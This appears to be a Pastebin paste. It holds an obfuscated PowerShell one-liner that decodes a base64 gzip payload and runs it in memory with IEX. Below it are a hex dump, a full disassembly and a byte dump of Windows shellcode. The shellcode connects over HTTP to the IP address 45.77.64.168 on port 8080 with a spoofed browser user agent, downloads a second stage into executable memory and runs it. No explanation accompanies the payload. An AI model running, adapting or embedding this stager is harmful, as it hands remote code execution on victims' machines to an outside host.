Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAL1XeW/aSBT/O3wKaxXJtpZwBJKmlSJ1gJijQAjmDIvQ4BmbCWMPtccc3fa77/NBSzdpN9WuFsnSHO+9ee/3TkwqL0zpM0t2BKHKxYj6AROecpnJnNdEUyq3yns1Y4eeJaPjaLFwqFxsfGEtMCE+DQLlz8xZD/vYVbTzLfYXriAhp1kl3kSElIQ+1c/OMmfxUegF2KYLD0u2pQuXypUgATykzdBmUxMuZt783btq6PvUk8k+V6cSBQF1l5zRQNOVz8p4RX16cb98opZU/lTOF7k6F0vMU7JDFVsrMAh5JLprCwtHFuTMDWdSU//4Q9VnF8V57u5jiHmgqeYhkNTNEc5VXfmiRw8ODhuqqR1m+SIQtsyNmVe6zA1j7bux8p1Ed1XPgG0+laHvKT82MZKZcGgqLHuADEoQVPVc09uKNdXOvZDzrPJem6UK9UNPMpfCvaS+2JjU3zKLBrkG9ginfWrPtS7dHXF4LZN2ygRUPenr2dR9r9G9E7s4Eafqz7U/iQMdfs9iQc98ybwQVYRy6mBJFxKgPwmrzNnZLF5SsEfriYDFfLdKIat0QAkshX+A7fnAD6k+V2aR62bzefrskTPI/lBQ8ciV8iTOTPS4VWYjwcg8cxb7Ob6PLhbLkHFC/Yjgx5FbozbzaO3gYZdZx+DUXnIatTmNAckdybqgqKamF5TUUnjUCNHZc7Y7l8mvvJVEOWSB4wPQCmJC/16ZxIma2vQ61AUAk70KzrIhJeiROk2Dw/H1aA9EapXjIMgqvRBy0soqJsWckqyCvIClVyiUIl6q39TthFwyCwfyKG6uvwBp+nRVeIH0QwvcCzAMzA21GOYRKlmlwQitHEzmHFVQX8SkijlnngOStuATOImwMGUUND7J/j1A9JxJZdPdcOoCdVwxDI4dqA9pSsXxhh1K1J+ofUyUJCsirI4gnSgNAWByIbPKiPkSapCafRZ5/1K970vSd3pWfZp6UotTcVY5yChhYkor6gS3X8GMofMlwGb4wq3ggF6Xo5bhOdpv+XvWQvCbNj3eIa01KzZ38HXgG7JSU9TekA+tp0a+Y1WDXt24QWzn7KybLrJsdmO0JkD3wArNG0Sq7YcGM3aN/gdEKnDmTFnRcRDpPfXu3Ha3GVSKqZyE3yqXG5MCKpXK96XCmtBWRL9GpOuy3b4Na6it9+0K8BWa/K5V7S/Hl8bjmDfyZWNlj0VgXpcfCa5fcYIqglzyEI/6YtCw3Eo+P7puRlZVusvSZrOs71ftTw9hp4rE9PKttOpGAY9bweMgcAajbqtvonL7Cb1pGmSzdPtbUuo4A/7gdM3y/v5QGVouXz+OrwqJjDUaG6vpf/0hY73PF8lkVCR9XNuMKbbzRSqvxp8areHI+IiKRh+3kA02DYb11YQ95uv5txN/ytf7Am8JhFrOymiZQ26Yw/qTPzLLb/Jvx609YD6K5T6K9sN0SgGblVUp9GuN/Mp+LFSa3tX1jouPwYRN7PyIWYbomwbtwLpjv51gh/RHvCJk0XaqwLvdoS0Ae7UvmTdA4xtUtq5bXj6fv9maw83EchDCvWpR8GW+ON4gjNAD6Az6VRAyiBh/6A+uQPa62B0wSiZw70Q2jVwHksljoDPE0KDLdlZlV54gQkfT3e9OCR7Id2vDsPvJCrtP4IfBtIzQ7e1vkCZnmTjql6FtJ7X8H5poB/vBCnPIB2iExypmCN9I21lPsIhD014eltbU9yiHQQJGjWPuI86FFTXgH3RCGAeSJj2HGjeEZenyxZWufCXUv3Xl49G7d49gSFpUoiTPtannyFW2sC8VCtBKC/tyQc+83v6q2By0r9KyUTc+gfL0IR4/pGcSqFdyBfWH/M9YpzUvfvrXsf529pPbV+FfyJ6C9Ozy+4Nfcce/h2iMmQRWE2o7p8l08lqk0gA8mQVPPA0RZqe/aHS/D+VFFybFjPo+k2nayglCAfsEQzv9qNzo0fwXSOzLiyexhAk/boPaOdaV5t1EOcfKF+UCQEFB6RLGfN8Jo56oJP9aPis7MCVm/Kz0qUVhlL1oiSX0OgqjTSQ6FhIRw9lfVdHpBgYNAAA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- final
- Hex dump: fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 e8 80 00 00 00 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 38 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 54 72 69 64 65 6e 74 2f 34 2e 30 29 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 59 31 ff 57 57 57 57 51 68 3a 56 79 a7 ff d5 eb 79 5b 31 c9 51 51 6a 03 51 51 68 90 1f 00 00 53 50 68 57 89 9f c6 ff d5 eb 62 59 31 d2 52 68 00 02 60 84 52 52 52 51 52 50 68 eb 55 2e 3b ff d5 89 c6 31 ff 57 57 57 57 56 68 2d 06 18 7b ff d5 85 c0 74 44 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 74 bc 31 ff eb 15 eb 49 e8 99 ff ff ff 2f 49 4a 57 72 00 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cd 8b 07 01 c3 85 c0 75 e5 58 c3 e8 37 ff ff ff 34 35 2e 37 37 2e 36 34 2e 31 36 38 00
- 0x00000000 fc cld
- 0x00000001 e889000000 call 0x0000008f
- 0x00000006 60 pushad
- 0x00000007 89e5 mov ebp,esp
- 0x00000009 31d2 xor edx,edx
- 0x0000000b 648b5230 fs: mov edx,dword [edx + 48]
- 0x0000000f 8b520c mov edx,dword [edx + 12]
- 0x00000012 8b5214 mov edx,dword [edx + 20]
- 0x00000015 8b7228 mov esi,dword [edx + 40]
- 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
- 0x0000001c 31ff xor edi,edi
- 0x0000001e 31c0 xor eax,eax
- 0x00000020 ac lodsb
- 0x00000021 3c61 cmp al,97
- 0x00000023 7c02 jl 0x00000027
- 0x00000025 2c20 sub al,32
- 0x00000027 c1cf0d ror edi,13
- 0x0000002a 01c7 add edi,eax
- 0x0000002c e2f0 loop 0x0000001e
- 0x0000002e 52 push edx
- 0x0000002f 57 push edi
- 0x00000030 8b5210 mov edx,dword [edx + 16]
- 0x00000033 8b423c mov eax,dword [edx + 60]
- 0x00000036 01d0 add eax,edx
- 0x00000038 8b4078 mov eax,dword [eax + 120]
- 0x0000003b 85c0 test eax,eax
- 0x0000003d 744a jz 0x00000089
- 0x0000003f 01d0 add eax,edx
- 0x00000041 50 push eax
- 0x00000042 8b4818 mov ecx,dword [eax + 24]
- 0x00000045 8b5820 mov ebx,dword [eax + 32]
- 0x00000048 01d3 add ebx,edx
- 0x0000004a e33c jecxz 0x00000088
- 0x0000004c 49 dec ecx
- 0x0000004d 8b348b mov esi,dword [ebx + ecx * 4]
- 0x00000050 01d6 add esi,edx
- 0x00000052 31ff xor edi,edi
- 0x00000054 31c0 xor eax,eax
- 0x00000056 ac lodsb
- 0x00000057 c1cf0d ror edi,13
- 0x0000005a 01c7 add edi,eax
- 0x0000005c 38e0 cmp al,ah
- 0x0000005e 75f4 jnz 0x00000054
- 0x00000060 037df8 add edi,dword [ebp - 8]
- 0x00000063 3b7d24 cmp edi,dword [ebp + 36]
- 0x00000066 75e2 jnz 0x0000004a
- 0x00000068 58 pop eax
- 0x00000069 8b5824 mov ebx,dword [eax + 36]
- 0x0000006c 01d3 add ebx,edx
- 0x0000006e 668b0c4b mov cx,word [ebx + ecx * 2]
- 0x00000072 8b581c mov ebx,dword [eax + 28]
- 0x00000075 01d3 add ebx,edx
- 0x00000077 8b048b mov eax,dword [ebx + ecx * 4]
- 0x0000007a 01d0 add eax,edx
- 0x0000007c 89442424 mov dword [esp + 36],eax
- 0x00000080 5b pop ebx
- 0x00000081 5b pop ebx
- 0x00000082 61 popad
- 0x00000083 59 pop ecx
- 0x00000084 5a pop edx
- 0x00000085 51 push ecx
- 0x00000086 ffe0 jmp eax
- 0x00000088 58 pop eax
- 0x00000089 5f pop edi
- 0x0000008a 5a pop edx
- 0x0000008b 8b12 mov edx,dword [edx]
- 0x0000008d eb86 jmp 0x00000015
- 0x0000008f 5d pop ebp
- 0x00000090 686e657400 push 0x0074656e--> 'ten'
- 0x00000095 6877696e69 push 0x696e6977--> 'iniw'
- 0x0000009a 54 push esp
- 0x0000009b 684c772607 push 0x0726774c--> '&wL'
- 0x000000a0 ffd5 call ebp --> kernel32.dll!LoadLibraryA
- 0x000000a2 e880000000 call 0x00000127
- 0x000000a7 4d dec ebp
- 0x000000a8 6f outsd edx,dword [esi]
- 0x000000a9 7a69 jpe 0x00000114
- 0x000000ab 6c insb byte [esi],edx
- 0x000000ac 6c insb byte [esi],edx
- 0x000000ad 61 popad
- 0x000000ae 2f das
- 0x000000af 342e xor al,46
- 0x000000b1 3020 xor byte [eax],ah
- 0x000000b3 28636f sub byte [ebx + 111],ah
- 0x000000b6 6d insd dword [esi],edx
- 0x000000b7 7061 jo 0x0000011a
- 0x000000b9 7469 jz 0x00000124
- 0x000000bb 626c653b bound ebp,dword [ebp + 59]
- 0x000000bf 204d53 and byte [ebp + 83],cl
- 0x000000c2 49 dec ecx
- 0x000000c3 45 inc ebp
- 0x000000c4 2038 and byte [eax],bh
- 0x000000c6 2e303b cs: xor byte [ebx],bh
- 0x000000c9 205769 and byte [edi + 105],dl
- 0x000000cc 6e outsb edx,byte [esi]
- 0x000000cd 646f fs: outsd edx,dword [esi]
- 0x000000cf 7773 ja 0x00000144
- 0x000000d1 204e54 and byte [esi + 84],cl
- 0x000000d4 20352e313b20 and byte [0x203b312e],dh
- 0x000000da 54 push esp
- 0x000000db 7269 jc 0x00000146
- 0x000000dd 64656e fsgs: outsb edx,byte [esi]
- 0x000000e0 742f jz 0x00000111
- 0x000000e2 342e xor al,46
- 0x000000e4 3029 xor byte [ecx],ch
- 0x000000e6 005858 add byte [eax + 88],bl
- 0x000000e9 58 pop eax
- 0x000000ea 58 pop eax
- 0x000000eb 58 pop eax
- 0x000000ec 58 pop eax
- 0x000000ed 58 pop eax
- 0x000000ee 58 pop eax
- 0x000000ef 58 pop eax
- 0x000000f0 58 pop eax
- 0x000000f1 58 pop eax
- 0x000000f2 58 pop eax
- 0x000000f3 58 pop eax
- 0x000000f4 58 pop eax
- 0x000000f5 58 pop eax
- 0x000000f6 58 pop eax
- 0x000000f7 58 pop eax
- 0x000000f8 58 pop eax
- 0x000000f9 58 pop eax
- 0x000000fa 58 pop eax
- 0x000000fb 58 pop eax
- 0x000000fc 58 pop eax
- 0x000000fd 58 pop eax
- 0x000000fe 58 pop eax
- 0x000000ff 58 pop eax
- 0x00000100 58 pop eax
- 0x00000101 58 pop eax
- 0x00000102 58 pop eax
- 0x00000103 58 pop eax
- 0x00000104 58 pop eax
- 0x00000105 58 pop eax
- 0x00000106 58 pop eax
- 0x00000107 58 pop eax
- 0x00000108 58 pop eax
- 0x00000109 58 pop eax
- 0x0000010a 58 pop eax
- 0x0000010b 58 pop eax
- 0x0000010c 58 pop eax
- 0x0000010d 58 pop eax
- 0x0000010e 58 pop eax
- 0x0000010f 58 pop eax
- 0x00000110 58 pop eax
- 0x00000111 58 pop eax
- 0x00000112 58 pop eax
- 0x00000113 58 pop eax
- 0x00000114 58 pop eax
- 0x00000115 58 pop eax
- 0x00000116 58 pop eax
- 0x00000117 58 pop eax
- 0x00000118 58 pop eax
- 0x00000119 58 pop eax
- 0x0000011a 58 pop eax
- 0x0000011b 58 pop eax
- 0x0000011c 58 pop eax
- 0x0000011d 58 pop eax
- 0x0000011e 58 pop eax
- 0x0000011f 58 pop eax
- 0x00000120 58 pop eax
- 0x00000121 58 pop eax
- 0x00000122 58 pop eax
- 0x00000123 58 pop eax
- 0x00000124 58 pop eax
- 0x00000125 58 pop eax
- 0x00000126 005931 add byte [ecx + 49],bl
- 0x00000129 ff5757 call dword [edi + 87]
- 0x0000012c 57 push edi
- 0x0000012d 57 push edi
- 0x0000012e 51 push ecx
- 0x0000012f 683a5679a7 push 0xa779563a--> 'yV:'
- 0x00000134 ffd5 call ebp --> wininet.dll!InternetOpenA
- 0x00000136 eb79 jmp 0x000001b1
- 0x00000138 5b pop ebx
- 0x00000139 31c9 xor ecx,ecx
- 0x0000013b 51 push ecx
- 0x0000013c 51 push ecx
- 0x0000013d 6a03 push 3
- 0x0000013f 51 push ecx
- 0x00000140 51 push ecx
- 0x00000141 68901f0000 push 0x00001f90
- 0x00000146 53 push ebx
- 0x00000147 50 push eax
- 0x00000148 6857899fc6 push 0xc69f8957
- 0x0000014d ffd5 call ebp --> wininet.dll!InternetConnectA
- 0x0000014f eb62 jmp 0x000001b3
- 0x00000151 59 pop ecx
- 0x00000152 31d2 xor edx,edx
- 0x00000154 52 push edx
- 0x00000155 6800026084 push 0x84600200
- 0x0000015a 52 push edx
- 0x0000015b 52 push edx
- 0x0000015c 52 push edx
- 0x0000015d 51 push ecx
- 0x0000015e 52 push edx
- 0x0000015f 50 push eax
- 0x00000160 68eb552e3b push 0x3b2e55eb--> ';.U'
- 0x00000165 ffd5 call ebp --> wininet.dll!HttpOpenRequestA
- 0x00000167 89c6 mov esi,eax
- 0x00000169 31ff xor edi,edi
- 0x0000016b 57 push edi
- 0x0000016c 57 push edi
- 0x0000016d 57 push edi
- 0x0000016e 57 push edi
- 0x0000016f 56 push esi
- 0x00000170 682d06187b push 0x7b18062d--> '{-'
- 0x00000175 ffd5 call ebp --> wininet.dll!HttpSendRequestA
- 0x00000177 85c0 test eax,eax
- 0x00000179 7444 jz 0x000001bf
- 0x0000017b 31ff xor edi,edi
- 0x0000017d 85f6 test esi,esi
- 0x0000017f 7404 jz 0x00000185
- 0x00000181 89f9 mov ecx,edi
- 0x00000183 eb09 jmp 0x0000018e
- 0x00000185 68aac5e25d push 0x5de2c5aa
- 0x0000018a ffd5 call ebp --> kernel32.dll!GetLastError
- 0x0000018c 89c1 mov ecx,eax
- 0x0000018e 6845215e31 push 0x315e2145--> '1^!E'
- 0x00000193 ffd5 call ebp
- 0x00000195 31ff xor edi,edi
- 0x00000197 57 push edi
- 0x00000198 6a07 push 7
- 0x0000019a 51 push ecx
- 0x0000019b 56 push esi
- 0x0000019c 50 push eax
- 0x0000019d 68b757e00b push 0x0be057b7--> '
- W'
- 0x000001a2 ffd5 call ebp --> wininet.dll!InternetErrorDlg
- 0x000001a4 bf002f0000 mov edi,0x00002f00
- 0x000001a9 39c7 cmp edi,eax
- 0x000001ab 74bc jz 0x00000169
- 0x000001ad 31ff xor edi,edi
- 0x000001af eb15 jmp 0x000001c6
- 0x000001b1 eb49 jmp 0x000001fc
- 0x000001b3 e899ffffff call 0x00000151
- 0x000001b8 2f das
- 0x000001b9 49 dec ecx
- 0x000001ba 4a dec edx
- 0x000001bb 57 push edi
- 0x000001bc 7200 jc 0x000001be
- 0x000001be 0068f0 add byte [eax - 16],ch
- 0x000001c1 b5a2 mov ch,162
- 0x000001c3 56 push esi
- 0x000001c4 ffd5 call ebp
- 0x000001c6 6a40 push 64
- 0x000001c8 6800100000 push 4096
- 0x000001cd 6800004000 push 0x00400000
- 0x000001d2 57 push edi
- 0x000001d3 6858a453e5 push 0xe553a458--> 'SX'
- 0x000001d8 ffd5 call ebp --> kernel32.dll!VirtualAlloc
- 0x000001da 93 xchg eax,ebx
- 0x000001db 53 push ebx
- 0x000001dc 53 push ebx
- 0x000001dd 89e7 mov edi,esp
- 0x000001df 57 push edi
- 0x000001e0 6800200000 push 0x00002000
- 0x000001e5 53 push ebx
- 0x000001e6 56 push esi
- 0x000001e7 68129689e2 push 0xe2899612
- 0x000001ec ffd5 call ebp --> wininet.dll!InternetReadFile
- 0x000001ee 85c0 test eax,eax
- 0x000001f0 74cd jz 0x000001bf
- 0x000001f2 8b07 mov eax,dword [edi]
- 0x000001f4 01c3 add ebx,eax
- 0x000001f6 85c0 test eax,eax
- 0x000001f8 75e5 jnz 0x000001df
- 0x000001fa 58 pop eax
- 0x000001fb c3 ret
- 0x000001fc e837ffffff call 0x00000138
- 0x00000201 3435 xor al,53
- 0x00000203 2e37 cs: aaa
- 0x00000205 37 aaa
- 0x00000206 2e36342e csss: xor al,46
- 0x0000020a 3136 xor dword [esi],esi
- 0x0000020c 3800 cmp byte [eax],al
- Byte Dump:
- ......`..1.d.R0.R.R..r(..J&1.1..<a|.,......RW.R..B<...@x..tJ..P.H..X...<I.4...1.1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..X_Z....]hnet.hwiniThLw&........Mozilla/4.0(compatible;MSIE8.0;WindowsNT5.1;Trident/4.0).XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.Y1.WWWWQh:Vy....y[1.QQj.QQh....SPhW......bY1.Rh..`.RRRQRPh.U.;....1.WWWWVh-..{....tD1...t....h...]....hE!^1..1.Wj.QVPh.W...../..9.t.1....I...../IJWr..h...V..j@h....h..@.WhX.S....SS..Wh...SVh........t.......u.X..7...45.77.64.168.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement